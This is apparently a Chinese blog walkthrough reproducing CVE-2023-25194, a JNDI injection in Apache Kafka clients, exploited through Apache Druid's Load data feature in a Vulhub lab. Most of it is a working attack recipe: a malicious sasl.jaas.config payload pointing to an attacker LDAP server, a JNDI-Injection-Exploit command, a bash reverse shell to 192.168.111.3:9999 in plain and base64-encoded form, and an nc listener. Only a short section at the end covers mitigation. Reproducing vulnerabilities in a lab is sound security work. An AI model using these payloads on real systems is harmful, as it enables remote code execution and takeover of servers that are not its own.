Apache Kafka JNDI注入注入漏洞(CVE-2023-25194)

基于Vulhub搭建的环境

一、漏洞概述

Apache Kafka是一个开源分布式消息队列,Kafka clients是相对应的Java客户端。

在版本3.3.2及以前,Apache Kafka clients中存在一处JNDI注入漏洞。如果攻击者在连接的时候可以控制属性的值为,则可以发起JNDI连接,进而导致JNDI注入漏洞,执行任意命令。sasl.jaas.configcom.sun.security.auth.module.JndiLoginModule

由于这个漏洞是存在于Java库kafka-clients中,所以我们需要在真实环境下找到使用了这个库的软件,且用户可以控制连接参数。

这个软件就是Apache Druid,其使用kafka-clients来连接Kafka作为其数据源之一。

二、影响范围

2.3.0 <= Apache Kafka <= 3.3.2

三、漏洞复现

1、访问IP:8888启动Apache Druid,漏洞在Load data中。

NEXT

NEXT

抓取的数据包样例(只取关键)

构造恶意的LDAP URL,将对应位置替换

http 复制代码
"bootstrap.servers":"127.0.0.1:6666",
              "sasl.mechanism":"SCRAM-SHA-256",
                "security.protocol":"SASL_SSL",
 "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.111.4:1389/xxxxxx\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"

实现原理:

攻击者启动 LDAP 服务器,并反序列化 LDAP 响应,攻击者可以使用该响应在 kafka 连接服务器上执行 java 反序列化链。

database.history.producer.sasl.jaas.configio.debezium.connector.mysql.MySqlConnector"com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://attacker_server" useFirstPass="true" serviceName="x" debug="true" group.provider.url="xxx";"

getshell

1、JNDIExploit启动一个恶意的JNDI服务器,开启LDAP服务,利用此工具直接反弹shell,提取权限

样式:

python 复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "反射shell命令(需要bash编码)"  -A ip

bash反弹shell编码前

python 复制代码
bash -i >& /dev/tcp/192.168.111.3/9999 0>&1

将其进行编码

python 复制代码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4zLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}

实例:

python 复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C  "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4zLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.111.3

2、开启监听

python 复制代码
nc -lvvp 9999

3、利用(此处反弹shell成功的前提是VPSIP地址,需要低版本的jdk)

4、点击发送,静候几秒钟,反弹shell成功,

四、漏洞防护

1、升级系统版本。

2、无法升级的用户可通过验证Kafka Connect连接器配置,仅允许受信任的JNDI配置来缓解此漏洞。

相关推荐
import_random7 小时前
[kafka]伪集群搭建,各个节点配置文件中listeners参数的配置
kafka
bluechips·zhao10 小时前
中间件及框架漏洞详解(Nginx、Apache、Tomcat、Redis、Zookeeper、RabbitMQ、Kafka等)
nginx·web安全·网络安全·中间件·apache·网络攻击模型·java-rabbitmq
一个天蝎座 白勺 程序猿11 小时前
Apache IoTDB(11):分段聚合深度解析——从原理到实战的完整指南
数据库·apache·iotdb
Mr.朱鹏1 天前
SQL深度分页问题案例实战
java·数据库·spring boot·sql·spring·spring cloud·kafka
WZTTMoon1 天前
Apache Tomcat 体系结构深度解析
java·tomcat·apache
fiveym1 天前
Apache HTTP 服务搭建全攻略
网络协议·http·apache
知码者1 天前
对于Thinkphp5可能遇到的保存问题
服务器·php·apache·小程序开发·跨平台小程序
山沐与山1 天前
【MQ】Kafka与RocketMQ深度对比
分布式·kafka·rocketmq
程序员老赵1 天前
Apache IoTDB Docker 容器化部署指南:从入门到生产环境实践
docker·apache